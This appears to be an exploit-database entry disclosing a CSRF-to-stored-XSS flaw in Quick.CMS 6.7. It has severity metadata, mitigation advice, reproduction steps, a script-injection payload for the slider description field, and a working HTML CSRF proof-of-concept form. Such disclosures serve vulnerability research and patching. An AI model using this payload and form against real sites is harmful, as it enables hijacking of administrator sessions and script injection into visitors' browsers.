header-logo
Suggest Exploit
vendor:
Quick.CMS
by:
Rahad Chowdhury
7.5
CVSS
HIGH
Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS)
352
CWE
Product Name: Quick.CMS
Affected Version From: 6.7
Affected Version To: 6.7
Patch Exists: NO
Related CWE:
CPE: a:quick.cms_project:quick.cms:6.7
Metasploit:
Other Scripts:
Platforms Tested: Windows 8.1, Kali Linux
2021

Quick.CMS 6.7 – Cross Site request forgery (CSRF) to Cross-site Scripting (XSS) (Authenticated)

The Quick.CMS version 6.7 is vulnerable to Cross-Site Request Forgery (CSRF) and Cross-Site Scripting (XSS) attacks. An authenticated attacker can exploit this vulnerability to perform actions on behalf of the victim user and execute malicious scripts in the victim's browser.

Mitigation:

To mitigate the CSRF vulnerability, ensure that proper CSRF protection mechanisms are implemented, such as using anti-CSRF tokens. To mitigate the XSS vulnerability, input validation and output encoding should be performed.
Source

Exploit-DB raw data:

# Exploit Title: Quick.CMS 6.7 - Cross Site request forgery (CSRF) to Cross-site Scripting (XSS) (Authenticated)
# Date: 21/04/2021
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://opensolution.org/
# Software Link: https://opensolution.org/download/home.html?sFile=Quick.Cms_v6.7-en.zip
# Version: 6.7
# Tested on: Windows 8.1, Kali Linux, Burp Suite

Steps to Reproduce:

1. At first login to your panel
2. then click the "Sliders" menu to "New Slider"
3. now intercept with the burp suite and save a new slider
4. Then use XSS payload </textarea><script>alert(document.domain)</script> in sDescription value.
5. Now Generate a CSRF POC

<!DOCTYPE html>
<html>
<body>
  <form action="http://127.0.0.1/admin.php?p=sliders-form" method="POST">
    <input type="hidden" name="iSlider" value="">
    <input type="hidden" name="aFile" filename="">
    <input type="hidden" name="sFileNameOnServer" value="slider_2.jpg">
    <input type="hidden" name="sDescription"
value="test</textarea><script>alert(document.cookie)</script>">
    <input type="hidden" name="iPosition" value="1">
    <input type="hidden" name="sOption" value="save">
    <input type="submit" value="submit">
  </form>
</body>
</html>